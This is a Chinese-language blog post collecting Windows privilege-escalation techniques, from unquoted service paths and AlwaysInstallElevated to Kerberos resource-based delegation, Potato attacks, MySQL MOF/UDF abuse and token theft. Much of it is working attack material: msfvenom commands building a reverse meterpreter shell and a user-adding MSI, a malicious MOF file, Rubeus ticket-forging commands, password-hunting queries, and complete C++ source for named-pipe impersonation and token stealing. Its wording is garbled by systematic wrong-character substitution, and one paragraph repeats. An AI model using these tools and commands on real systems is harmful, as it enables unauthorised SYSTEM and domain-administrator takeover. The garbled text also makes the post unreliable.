关于网络安全:Windows提权方法大全汇总值的收藏

80次阅读

共计 17013 个字符,预计需要花费 43 分钟才能阅读完成。

一、无引号服务门路(Trusted Service Paths)

先说实用度,比拟被动,而且比拟看脸。

Windows 下服务的权限通常是 SYSTEM。如果咱们可能替换服务的启动程序为咱们的恶意程序(如反弹 shell),即相当于取得了 SYSTEM 权限,达到了提权的目标。
无引号服务门路有可能会导致这种状况的产生。
所谓无引号服务门路,就是服务启动程序的门路中蕴含了空格且未被引号蕴含起来。比方这样

C:\Program Files\floder1\service.exe

因为空格的存在,Windows 在启动服务找寻服务启动项时,它会依照以下程序进行启动项寻找

C:\Program.exe
C:\Program Files\Some.exe
C:\Program Files\Some Folder\Service.exe

这就给了咱们无隙可乘的机会:如果咱们在服务的下层目录有写入或齐全管制权限,咱们齐全能够将一个可执行文件放在 Windows 搜查服务启动项的更靠前程序上。

咱们用以下命令来搜寻哪些服务门路没有蕴含引号

wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """


而后应用 icacls 命令查看在 2345Explorer 目录的权限如何

users 组是齐全控制权(F),那么咱们间接用 msfvenom 结构一个反弹 shell 的 exe。命名为 Protect.exe,放入 2345Explorer 目录。我这里轻易编码了一下

msfvenom -p windows/meterpreter/reverse_http -e x86/shikata_ga_nai LHOST=192.168.111.129 
LPORT=10068 -f exe -o Protect.exe
msfvenom -p windows/meterpreter/reverse_http -e x86/shikata_ga_nai LHOST=192.168.111.129 
LPORT=10068 -f exe -o Protect.exe


而后咱们当初是没有能力重启服务的。。只能等管理员重启服务或者机子重启。而后就拿到 SYSTEM 权限了。然而这里还有一个坑点,这个坑点是如果一个服务启动后在肯定工夫内未与 Service Control Manager(SCM) 通信,就会被进行。

所以咱们要在拿到 shell 后及时的转移过程或者增加管理员账户。
转移过程在 msf 中很简略,meterpreter 中先用 ps 查看过程,轻易找一个 system 权限,记住其 pid,而后 migrate PID 即可实现过程迁徙。

上面来说说防治办法吧。进入注册表批改窗口,在 HKEY_LOCAL_MACHINE >> SYSTEM >> CurrentControlSet >> Services 门路下找到存在破绽的服务,批改其 ImagePath,把门路前后加个引号就可了。

二、易受攻击的服务(Vulnerable Services)

同样看脸且被动

这个攻打办法大抵分两类

1. 替换服务的二进制文件。这个办法较为简单,如果对服务二进制文件所在目录有修改权,那么咱们齐全能够创立一个恶意程序来替换原有的二进制文件服务。这个比较简单,而且基本上攻打流程和 Trusted Service Paths 一模一样,同样也是比拟被动地期待重启服务能力弹 shell,就不再演示了。

2. 批改服务的属性。如果咱们能批改服务的 BINARY_PATH_NAME 属性(这个属性用于指向服务的二进制文件),咱们就能够通过设置 BINARY_PATH_NAME 的值为系统命令,而后重启服务时咱们的系统命令会被执行。

对于后者,咱们须要一款工具来疾速揭示出咱们能批改哪些服务的属性。
这个工具咱们采纳 accesschk.exe,它是微软产出的,根本不会报毒。

咱们通过该工具执行以下命令

accesschk.exe -uwcqv "Authenticated Users" * /accepteula
or
accesschk.exe -uwcqv "Users" * /accepteula
来查看 Users 组(依据理论状况来填哪个组)对哪些服务有哪些权限

如果对某个服务有 service_all_access 或者以下权限,就阐明能对其属性进行批改。

比方咱们对 Spooler 服务有 service_all_access 权限,咱们就能够这样做。

通过批改其 binPath 为歹意指令,而后期待管理员重启服务,咱们的歹意指令就会被执行。

三、AlwaysInstallElevated

[HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\Installer]“AlwaysInstallElevated”=dword:00000001 

[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer]“AlwaysInstallElevated”=dword:00000001

那么所有 msi(windows 利用安装程序)都会以 SYSTEM 权限运行。此时如果咱们执行一个歹意 msi 程序,即可达到提权目标

同时须要留神的一点是,这个注册表项不肯定总是存在的。(比方我的实验机

咱们能够通过 reg query 来验证这两条注册表项的状况

reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

若均为 1,咱们就能够通过 msfvenom 生成歹意 msi 来提权

msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi -o rotten.msi

而后执行,取得一个管理员账户。

四、信息泄露

Unattend.xml sysprep.xml 和 sysprep.inf 文件 GPP.xml 存在着肯定信息泄露,他们通常存在于以下门路

C:\Windows\Panther\
C:\Windows\Panther\Unattend\
C:\Windows\System32\
C:\Windows\System32\sysprep\

找到后,找到 Unattend.xml 文件中的标签。就有可能找到用户的加密后的明码。。

<UserAccounts>
    <LocalAccounts>
        <LocalAccount>
            <Password>
                <Value>UEBzc3dvcmQxMjMhUGFzc3dvcmQ=</Value> //PASSWORD
                <PlainText>false</PlainText>
            </Password>
            <Description>Local Administrator</Description>
            <DisplayName>Administrator</DisplayName>
            <Group>Administrators</Group>
            <Name>Administrator</Name>
        </LocalAccount>
    </LocalAccounts>
</UserAccounts>
一些敏感文件查问指令
C:\Users\user\Desktop> dir C:\ /s /b /c | findstr /sr \*password\*
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s

五、基于资源的域委派攻打

refer:https://xz.aliyun.com/t/7454

原理的几个点:

1.S4U2SELF 协定能够在用户没有配置 TrustedToAuthenticationForDelegation 属性(即开启应用任何协定认证的约束性委派)时被调用,然而返回的 ST 是不可被转发的。

2. 基于资源的约束性委派主机 在被另一台主机委派拜访时,在 S4U2PROXY 过程中提交过去的 ST 如果即便是不可转发的。KDC 依旧会返回无效的 ST2。

3. 每个一般域用户默认能够创立至少十个机器账户(由 MachineAccountQuota 属性决定),
每个机器账户被创立时都会主动注册 SPN: RestrictedKrbHost/domain 和 HOST/domain 这两个 SPN

攻打流程:

假如开启基于资源的约束性委派机器为 A

1. 首先要有一个对以后计算机有写权限的账户,能力对 A 设置能够 被 委派拜访的服务账户。

2. 利用以后账户创立一个机器账户,并配置好机器账户到 A 的 基于资源的约束性委派

3. 因为机器账户是咱们创立的,咱们晓得他的明码账户,能够让它利用 S4U2SELF 协定取得一个不可转发 ST。而后用这个不可转发 ST 通过 S4U2PROXY,在基于资源的约束性委派根底上取得无效的拜访 A cifs 服务的 ST2。

4. 用 ST2 拜访 A 的 CIFS 服务,权限取得。

实操

这个攻打说白了就是个提权…

首先咱们检查一下域控是否是 win2012 以上的主机,因为只有这样能力开启 基于资源的约束性委派。

咱们应用 powersploit 下的 powerview 脚本。执行命令 get-netdomaincontroller


能够取得域控 WIN 版本

而后咱们查看以后用户对哪台主机有写权限。因为是试验,所以咱们先来看看怎么配置一个用户对一个机器的权限。

间接在域控上找到某主机,而后进入在属性里进入平安选项卡,增加某用户,而后给这个用户调配权限即可。


咱们仍旧应用 powerview。先调用

Get-DomainUser -Identity username -Properties objectsid

来获取以后用户 SID

而后

Get-DomainObjectAcl -Identity 主机名 | ?{$_.SecurityIdentifier -match "刚刚失去的 SID"}

查看以后用户对某台主机是否有写权限。

如果有 GenericAll(齐全控制权),GenericWrite、WriteProperty、WriteDacl 这些属性,就阐明该用户能批改计算机的账户属性。
如图看到咱们对 WIN7 进行操作

好的,咱们接下来就要创建一个机器用户了。依据网上搜寻后果,应用 powermad 这个 ps 脚本能够很快捷的创立一个机器用户。https://github.com/Kevin-Robe…

Import-Module .\Powermad.ps1New-MachineAccount -MachineAccount hacksystem -Password $(ConvertTo-SecureString "hack" -AsPlainText -Force)


好的,咱们增加了一个明码 hack,名为 hacksystem 的机器账户,接下来就是配置 hacksystem 到 WIN7 的委派了。咱们须要做的,是批改 WIN7 的

msDS-AllowedToActOnBehalfOfOtherIdentity

属性的值,这个操作咱们用 powerview 实现。

$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-3298638106-3321833000-1571791979-1112)"  
#这儿的 sid 是咱们创立的 #机器用户#evilsystem 的 sid
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer WIN7| Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose


至于机器账户 SID 怎么取得,powerview 下的

get-domiancomputer hacksystem

而后应用

Get-DomainComputer WIN7 -Properties msds-allowedtoactonbehalfofotheridentity

查看委派是否设置胜利

Set-DomainObject win7 -Clear 'msds-allowedtoactonbehalfofotheridentity' -Verbose

此命令能够革除 msds-allowedtoactonbehalfofotheridentity 属性的值

当初都通通设置好了,开始下一步吧。

网上个别用的 rubeus,这里我用 kekeo 吧

Rubeus.exe hash /user:xxx /password:xxx /domain:xxx

本地运算出机器用户 ntlm hash 这里借用一下他人的图

Rubeus.exe s4u /user:evilsystem$ /rc4:B1739F7FC8377E25C77CFA2DFBDC3EC7 
/impersonateuser:administrator /msdsspn:cifs/dm2008 /ptt

写入票据

而后我在本机应用以上办法后 klist 一下,发现的确存在票据

然而 dir \test1\c$ 时本机莫名其妙不能进行 kerberos 验证,我服了。。但不管怎样,咱们拿到银票了

敏感用户不可委派的绕过


若咱们的 administrator 用户被设置为敏感用户不可委派或者被退出爱护组,按理说他的拜访就不能进行委派。

咱们在以 administrator 账户身份进行 S4U 时,只能进行 S4U2SELF,
不能进行 S4U2PROXY。咱们用

Rubeus.exe s4u /user:evilsystem$ /rc4:B1739F7FC8377E25C77CFA2DFBDC3EC7 
/impersonateuser:administrator /msdsspn:cifs/dm2008 /ptt

持续试验 administrator,发现的确是这样

此时咱们用 rubeus.exe describe /ticker:S4Ubase64 加密的票据

能够发现 servicename 并没有指定某个服务,仅仅只有一个账户. 即产生了服务名称缺失的问题。很简略,把票据批改一下就行了. 网上很多说用这个工具

https://shimo.im/docs/TdpXTY6…

但实际上 rubeus 也能实现票据批改

rubeus.exe tgssub /ticket:xxx /altservice:cifs/test1 /ptt



完事

六、POTATO 家族

hot potato

热土豆提权。很早前就据说过了,但始终没去理解过。前置常识是 ntlm relay, 能够去理解理解。potato 家族有很多,hot potato 只是其中一种提权形式。

我环境有问题,不能很好的复现🙃,抓包剖析啥的先咕咕吧。

https://shimo.im/docs/TdpXTY6…👈HOT POTATO技术文档,国内基本上翻译这个来的。

提权步骤大略是这个流程

1. 本地 nbns 服务坑骗

2.wpad 劫持

3.HTTP->SMB 的 ntlm relay

4. 本地 nbns 服务坑骗

Windows 域名解析规定是

本地 HOST 文件 -》dns 查问 -》NBNS 或者 LLMNR 查问

一旦本地收回 NBNS 查问,咱们本地就能够迅速响应,啪的一下就响应了,很快啊,本地发包很快,只有收回 NBNS 包基本上都能被咱们本地发包响应。

然而以上步骤还是有一些细节的:咱们以后并非管理员权限,大几率是无奈嗅探本地流量的, 如果咱们可能当时晓得指标主机冀望 NBNS 查问取得的主机名,咱们能够伪造一个响应,对发送 NBNS 查问的那个主机疾速的大量发送 NBNS 响应 . 然而 nbns 流量包还有个叫特色码的货色,申请包和响应包的特色码必须雷同,所以咱们被迫发送 65536 个包爆破这个特色码——本地发包速度很快,本地 NBNS 坑骗成功率基本上在 100%。

2.WPAD 劫持

NBNS 坑骗后咱们就能够劫持 WPAD 的域名,把本人伪造称 WPAD 并返回自定义的 PAC 文件。意味着咱们能够把本地收回的所有流量重定向。

3.RELAY

NBNS 坑骗后咱们就能够劫持 WPAD 的域名,把本人伪造称 WPAD 并返回自定义的 PAC 文件。意味着咱们能够把本地收回的所有流量重定向。

3.RELAY

在当初这个年代,SMB->SMB 的 relay 很少用到了,微软 禁用了同协定的 NTLM 认证,成功率很低。
然而 HTTP->SMB 的 relay 还是有的。HOT POTATO 就是利用的这一点。
咱们能够把主机收回的 HTTP 申请重定向到咱们自定义的网页 A,而网页 A 须要 NTLM 认证,咱们就能够进行 HTTP->SMB 的 relay’了。当 HTTP 申请来自于高权限的账户时,例如是来自 windows 更新服务的申请,命令就会以”NT AUTHORITY\SYSTEM”权限运行。

HOT POTATO 依据 Windows 版本的不同,须要期待高权限用户 NTLM 认证来到的工夫也不同。一般来说,
WIN7 是霎时就能够提权的
Windows Server 2012 R2,Windows Server 2012,Windows 8.1,Windows 8 有一个自动更新机制,会每天下载证书信赖列表(CTLs)
,etc

七、MYSQL 下的提权技术

MOF 提权

在 c:/windows/system32/wbem/mof/ 目录下的 nullevt.mof 每分钟都会有一个特定的工夫去执行一次(由”And TargetInstance.Second = 5″; 管制,这里输出 5 就是每分钟的第五秒执行。那么把 cmd 命令增加到 nullevt.mof 中,cmd 命令就会主动执行了。

前提是咱们要能进入数据库进行操作,且 mysql 数据库的权限尽可能高才更无利。同时 secure-file-priv 要为空(mysql 5.6.34 版本当前 secure_file_priv 的值默认为 NULL, 禁止所有文件导入导出性能)

咱们伪造的 MOF 文件格式如下

#pragma namespace("\\\\.\\root\\subscription")

instance of __EventFilter as $EventFilter
{
    EventNamespace = "Root\\Cimv2";
    Name = "filtP2";
    Query = "Select * From __InstanceModificationEvent" 
            "Where TargetInstance Isa \"Win32_LocalTime\"""And TargetInstance.Second = 5";
    QueryLanguage = "WQL";
};

instance of ActiveScriptEventConsumer as $Consumer
{
    Name = "consPCSV2";
    ScriptingEngine = "JScript";
    ScriptText =
    "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user admin admin /add\")"; // 批改此处即可
};

instance of __FilterToConsumerBinding
{
    Consumer = $Consumer;
    Filter = $EventFilter;
};

批改下面的 cmd 局部即可实现以管理员身份执行各种命令。

而后咱们应用 mysql 下的命令,将 mof 笼罩过来。

待咱们的命令被执行后,即代表提权胜利。

Windows 2003 仿佛成功率蛮高的,WIN7 试了试没反馈。。。

UDF 提权

(这个也能够 linux 提权

udf,即自定义函数(user define function)

MYSQL 能够自定义函数的。自定义函数在 Windows 下是以 DLL 文件存在于 MYSQL 的插件文件夹外面的(linux 则是以 os 的模式)。咱们能够自定义一个歹意 dll,外面寄存着能够执行系统命令的 函数。而后交给 mysql 以数据库权限执行。

前提:咱们能操作数据库,且数据库权限必须很高(咱们用这个办法提权到的权限就是数据库的权限

那么这个 dll 文件哪里来呢。sqlmap 和 msf 都有。sqlmap 下的 sqlmap/data/udf/mysql/windows/64/lib_mysqludf_sys.dll_ 就是这个 dll 文件的编码版本。咱们应用 sqlmap 下的 sqlmap/extra/cloak/cloak.py 对其进行解码取得 dll 文件。

python ./cloak.py -d -i ./lib_mysqludf_sys.dll_ 即可取得 dll 文件

而后咱们把 dll 文件放入 mysql 的插件文件夹,命名为 udf.dll。插件文件夹能够通过命令

show variables like "%plugin%"; 取得(/lib/plugin 文件夹须要本人创立)

至于怎么把 dll 放入插件文件夹

1. 间接粘贴复制(权限可能不够

2. 应用命令 select load_file(‘udf.dll’) into dumpfile“PLUGIN 的门路”;(须要 secure_file_priv 为空

总之,如果把 udf.dll 放入 plugin 文件夹后,咱们就能够执行以下操作提权了。

create funtion sys_eval returns string soname "udf.dll";
select sys_eval('cmd');


启动项提权

说白了,就是通过 mysql 的高权限,向 windows 开机启动项文件夹里放入歹意 vbs 或者 bat 脚本, 机器重启后主动执行。怎么让机器重启?等管理员或者 一些可导致服务器蓝屏的 EXP

C:\Documents and Settings\All Users\「开始」菜单 \ 程序 \ 启动

C:\Users\username\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup

select load_file("xxx") into dumpfile "xxxx";


没什么好说的

八、命名管道提权

提权形式为 令牌模拟。Token Impersonation .

meterpreter 的 getsystem 的提取办法之一就是这个办法

提权过程为从 administrator 用户提到 SYSTEM 权限。从普通用户提权到 admin 及以上权限是不可取的,因为普通用户创立的命名管道没有 SeImpersonatePrivilege,在复制令牌时会呈现 1346 谬误。

该办法技术细节为:以管理员权限创立一个命名管道,再通过创立 SYSTEM 权限服务,让服务连上命名管道,随后咱们通过模仿客户端,取得 SYSTEM 权限的令牌,随后将其复制,再用复制后的令牌创立新过程(如 CMD),新过程的权限即 SYSTEM 权限。

这里贴上实现代码.
首先是被创立的服务的实现代码,该服务启动后会一直向服务器命名管道建设链接
生成好后,是 Service.exe

#include<Windows.h>
#include<iostream>
SERVICE_STATUS m_ServiceStatus;
SERVICE_STATUS_HANDLE m_ServiceStatusHandle;
BOOL bRunning;
void WINAPI ServiceMain(DWORD argc, LPTSTR* argv);
void WINAPI HandlerFunc(DWORD code);
int main() {WCHAR Servicename[] = L"ServiceA";
  SERVICE_TABLE_ENTRY Table[] = { {Servicename,ServiceMain},{NULL,NULL} };
  StartServiceCtrlDispatcher(Table);
}

void WINAPI ServiceMain(DWORD argc, LPTSTR* argv) {


  m_ServiceStatus.dwServiceType = SERVICE_WIN32_OWN_PROCESS;
  m_ServiceStatus.dwCurrentState = SERVICE_START_PENDING;
  m_ServiceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP;
  m_ServiceStatus.dwWin32ExitCode = 0;
  m_ServiceStatus.dwServiceSpecificExitCode = 0;
  m_ServiceStatus.dwCheckPoint = 0;
  m_ServiceStatus.dwWaitHint = 0;

  m_ServiceStatusHandle = RegisterServiceCtrlHandler(L"ServiceA", HandlerFunc);
  m_ServiceStatus.dwCurrentState = SERVICE_RUNNING;
  m_ServiceStatus.dwCheckPoint = 0;
  m_ServiceStatus.dwWaitHint = 0;
  SetServiceStatus(m_ServiceStatusHandle, &m_ServiceStatus);
  bRunning = true;
  while (bRunning) {
  LPCWSTR PipeName = L"\\\\.\\pipe\\testpipe";
  HANDLE PipeHandle=NULL;
  BOOL PipeInstance;
  WCHAR message[512] = {0};
  DWORD bytesWritten = 0;
  BOOL Flag = true;
  wchar_t message2[] = L"HELL";
  DWORD messageLength = lstrlen(message2) * 2;
  do {PipeHandle = CreateFile(PipeName, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
  } while (PipeHandle == INVALID_HANDLE_VALUE);

  WriteFile(PipeHandle, &message2, messageLength, &bytesWritten, NULL);

  Flag = ReadFile(PipeHandle, &message, 512, &bytesWritten, NULL);
  std::cout << "Message:" << message << std::endl;
  }
}

void WINAPI HandlerFunc(DWORD code) {switch (code) {
  case SERVICE_CONTROL_PAUSE:
    m_ServiceStatus.dwCurrentState = SERVICE_PAUSED;
    break;
  case SERVICE_CONTROL_CONTINUE:
    m_ServiceStatus.dwCurrentState = SERVICE_RUNNING;
    break;
  case SERVICE_CONTROL_STOP:
    m_ServiceStatus.dwWin32ExitCode = 0;
    m_ServiceStatus.dwCurrentState = SERVICE_STOPPED;
    m_ServiceStatus.dwCheckPoint = 0;
    m_ServiceStatus.dwWaitHint = 0;

    SetServiceStatus(m_ServiceStatusHandle, &m_ServiceStatus);
    bRunning = false;
    break;
  case SERVICE_CONTROL_INTERROGATE:
    break;
  }

而后是主体,命名管道服务器。生成后是 Server.exe

#include<Windows.h>
#include<iostream>

int main() {
  LPCWSTR pipeName = L"\\\\.\\pipe\\testpipe";
  LPVOID pipeBuffer = NULL;
  HANDLE serverPipe;
  DWORD readBytes = 0;
  DWORD readBuffer = 0;
  int err = 0;
  BOOL isPipeConnected;
  BOOL isPipeOpen;
  wchar_t message[] = L"HELL";
  DWORD messageLenght = lstrlen(message) * 2;
  DWORD bytesWritten = 0;
  WCHAR message2[512] = {0};
//Open a Named Pipe,Wait for a connection
  std::wcout << "Creating named pipe" << pipeName << std::endl;
  serverPipe = CreateNamedPipe(pipeName, PIPE_ACCESS_DUPLEX, PIPE_TYPE_MESSAGE, 1, 2048, 2048, 0, NULL);

//Create a service of system to connect to our NamedPipe.

  char servicename[] = "Service.exe";
  char servicepath[_MAX_PATH];
  SERVICE_STATUS status;
  GetModuleFileNameA(LoadLibraryA(servicename), servicepath, sizeof(servicepath));
  SC_HANDLE scManager = OpenSCManager(NULL, SERVICES_ACTIVE_DATABASE, SC_MANAGER_ALL_ACCESS);
  if (GetLastError() == 0) { }
  else {std::cout << "ERROR OpenSCManager:" << GetLastError() << std::endl;
  }
  SC_HANDLE scService = CreateServiceA(scManager, servicename, servicename,
    SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS, SERVICE_DEMAND_START, SERVICE_ERROR_NORMAL,
    servicepath, NULL, NULL, NULL, NULL, NULL);
  if (!scService) {if (GetLastError() == 1073) {std::cout << "The Service has been exsisted" << std::endl;}
    else {std::cout << "ERROR CreateServiceA:" << GetLastError() << std::endl;
    }
  }
  SC_HANDLE scServiceA = OpenServiceA(scManager, servicename, SERVICE_ALL_ACCESS);
  if (StartService(scServiceA, 0, NULL)) {std::cout<<"service Start success"<<std::endl;}
  else {if (GetLastError() == 1056) {std::cout << "service is running,don't need to start again" << std::endl;}
  }
//Connect !
  isPipeConnected = ConnectNamedPipe(serverPipe, NULL);

  if (isPipeConnected) {
    std::wcout << "Incoming connection to" << pipeName << std::endl;
    ReadFile(serverPipe, &message2, 512, &bytesWritten, NULL);
    std::cout << message2;
  }
  else {std::cout << "Does not connected Error:"<<GetLastError() << std::endl;
  }

  std::wcout << "Sending message:" << message << std::endl;
  WriteFile(serverPipe, message, messageLenght, &bytesWritten, NULL);
//Toekn Impersonation
  std::wcout << "Impersonating the client..." << std::endl;
  if (!ImpersonateNamedPipeClient(serverPipe)) {std::cout<<"ImpersonateNamedPipeClient ERROR:"<<GetLastError()<<std::endl;
  }
  else {std::cout << "ImpersonateNamedPipeClient success" << std::endl;}

  STARTUPINFOA si;
  PROCESS_INFORMATION pi = {};
  ZeroMemory(&pi, sizeof(pi));
  ZeroMemory(&si, sizeof(si));
  si.cb = sizeof(si);
  HANDLE token;
  if (!OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, FALSE, &token)) {std::cout << "GetCurrentThread ERROR:" << GetLastError() << std::endl;
  }

  CHAR command1[] = "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe";
  WCHAR command2[] = L"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe";
  HANDLE Token;
  if (!DuplicateTokenEx(token, TOKEN_ALL_ACCESS,NULL, SecurityImpersonation, TokenImpersonation,&Token)) {std::cout << "DuplicateTokenEx ERROR:" << GetLastError() << std::endl;
  }
  else {std::cout << "Impersonate completed" << std::endl;}
  if (!CreateProcessAsUserA(token, NULL, command1, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi)) {std::cout << "CreateProcessAsUserA ERROR:" << GetLastError() <<"Now Use CreateProcessWithTokenW"<< std::endl;
    if (!CreateProcessWithTokenW(token, LOGON_NETCREDENTIALS_ONLY, NULL, command2, NULL, NULL, NULL, (LPSTARTUPINFOW)&si, &pi)) {std::cout << "CreateProcessWithTokenW ERROR:" << GetLastError() << std::endl;
    }
    else {std::cout << "CreateProcessWithTokenW success" << std::endl;}
  }
  else {std::cout << "CreateProcessWithTokenW success" << std::endl;}

  while(1){}}

咱们生成了 Service.exe, 而后把他移到 Server.exe 同级目录,以管理员权限运行 Server.exe, 即可达到 admin-》system 的提权。


程序写了四天终于写好了。。WIN7 下能够实现完满提权。
我的项目地址:https://shimo.im/docs/TdpXTY6…

令牌窃取

SYSTEM-> 本机上其余用户(包含域用户)(好家伙,只有本机有 system 权限,域管敢在本机上创立过程就间接能拿到域管权限)或者 admin 获取 debug 权限后去获取 SYSTEM 权限(这里有一个细节点,只有 owner 为 administrator 的 SYSTEM 过程能力被利用,比方 lsass,dllhost)

技术细节: 通过寻找高权限开启的过程,再复制其令牌用以创立新过程,即可达到提权目标

#include <iostream>
#include <Windows.h>


//Only administrator can get debug priv
BOOL GetDebugPriv() {
  HANDLE Token;
  TOKEN_PRIVILEGES tp;
  LUID Luid;
  if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &Token)) {std::cout << "OpenProcessToken ERROR" << GetLastError() << std::endl;
    return false;
  }

  tp.PrivilegeCount = 1;
  tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
  if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &Luid)) {std::cout << "LookupPrivilegeValue ERROR" << GetLastError() << std::endl;
    return false;
  }
  tp.Privileges[0].Luid = Luid;
  if (!AdjustTokenPrivileges(Token, FALSE, &tp, sizeof(tp), NULL, NULL) ){std::cout << "AdjustTokenPrivileges ERROR" << GetLastError() << std::endl;
    return false;
  }
  if (GetLastError() == ERROR_NOT_ALL_ASSIGNED) {return false;}
  else {return true;}
}



int main(int argc, char* argv[]) {
  HANDLE t_process;
  HANDLE token = NULL;
  HANDLE token_bak = NULL;
  DWORD process_id;
  sscanf_s(argv[1], "%ul", &process_id);
  WCHAR command[] = L"C:\\Windows\\System32\\cmd.exe";
  STARTUPINFO startupInfo;
  PROCESS_INFORMATION processInformation;
  ZeroMemory(&startupInfo, sizeof(STARTUPINFO));
  ZeroMemory(&processInformation, sizeof(PROCESS_INFORMATION));
  startupInfo.cb = sizeof(STARTUPINFO);
  std::cout << argv[1] << std::endl;
  std::cout << "Openning process PID:" << process_id << std::endl;
  if (GetDebugPriv()== TRUE) {std::cout << "Got the debug priv" << std::endl;}
  else {std::cout << "GetDebugPriv ERROR" << std::endl;}
  system("whoami /priv");
  t_process = OpenProcess(PROCESS_ALL_ACCESS, true, process_id);
  if (!t_process) {std::cout << "OpenProcess ERROR" << GetLastError() << std::endl;
  }
  if (!OpenProcessToken(t_process, TOKEN_ALL_ACCESS, &token)) {std::cout << "OpenProcessToken ERROR" << GetLastError() << std::endl;
  }

  if (!DuplicateTokenEx(token, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &token_bak)) {std::cout << "DuplicateTokenEx ERROR" << GetLastError() << std::endl;
  }
  if (!CreateProcessWithTokenW(token_bak, LOGON_WITH_PROFILE, NULL, command, 0, NULL, NULL, &startupInfo, &processInformation)) {std::cout << "CreateProcessWithTokenW ERROR" << GetLastError() << std::endl;
  }
  return 0;
}


这是在 win7 下的测试后果 const\administrator 是域控

正文完
 0